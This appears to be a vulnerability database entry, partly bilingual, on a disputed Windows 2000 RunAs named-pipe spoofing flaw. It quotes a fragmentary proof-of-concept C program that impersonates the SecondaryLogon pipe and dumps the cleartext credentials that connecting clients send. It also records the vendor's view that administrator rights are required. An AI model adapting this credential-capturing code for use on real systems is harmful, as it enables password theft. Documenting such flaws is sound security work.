[原文]** DISPUTED ** RunAs (runas.exe) in Windows 2000 allows local users to create a spoofed named pipe when the service is stopped, then capture cleartext usernames and passwords when clients connect to the service. NOTE: the vendor disputes this issue, saying that administrative privileges are already required to exploit it.
Windows 2000版本中的RunAs (runas.exe)存在漏洞。本地用户在服务停止时创建一个欺骗的命名管道，然后在客户端连接到服务时捕获明文用户名和密码。
The fix for this vulnerability will reportedly be included in Service Pack 3. Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: firstname.lastname@example.org .
Microsoft Windows 2000 RunAs Service Named Pipe Hijacking Vulnerability (EDBID:21069)
The Windows 2000 RunAs service allows an application or service to be executed as a different user. It is accessed by holding down the shift key and right mouse clicking on an icon, then selecting 'Run as...' from the context menu.
When the RunAs service is invoked, it creates a named pipe for client for communication of credentials (in cleartext).
If the RunAs service is stopped, the attacker can create a named pipe with the same name to which credentials will be communicated when another user tries to use 'RunAs'.
// radix1112200101.c - Camisade - Team RADIX - 11-12-2001
// Camisade (www.camisade.com) is not responsible for the use or
// misuse of this proof of concept source code.
#define MAX_IN_BUF 0x1000
#define MAX_OUT_BUF 0x4
#define MAX_INST 0xA
#define SECONDARY_LOGON_PIPE _T("\\\\.\\pipe\\SecondaryLogon")
hPipe = CreateNamedPipe(SECONDARY_LOGON_PIPE, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE|PIPE_WAIT, MAX_INST, MAX_OUT_BUF, MAX_IN_BUF,
if (hPipe == INVALID_HANDLE_VALUE)
printf("Can't create secondary logon pipe. Error %d\n", GetLastError());
printf("Created pipe and waiting for clients...\n");
if (ConnectNamedPipe(hPipe, 0))
while (ReadFile(hPipe, InBuf, MAX_IN_BUF, &dwReadCount, 0))
printf("Read %d bytes. (ASCII Dump)\n", dwReadCount);
for (dwPos = 0; dwPos < dwReadCount; dwPos++)
printf("%c ", InBuf[dwPos]);
if ((dwPos % 16) == 0)
DWORD dwReply = ERROR_ACCESS_DENIED;
WriteFile(hPipe, &dwReply, sizeof(DWORD), &dwWroteCount, 0);
Microsoft Windows 2000 runas.exe Named Pipe Spoofing Information Disclosure
Local Access Required
Loss of Confidentiality
Microsoft Windows 2000 was reported to contain a flaw that may allow a malicious user to read another user's credentials. The issue is triggered when the RUN AS service is stopped, and a malicious user can read the authentication data entered into the RUN AS dialog via a crafted named pipe. However, it requires administrative privileges to create a named pipe making this a non-issue.
The vulnerability reported is incorrect. No solution required.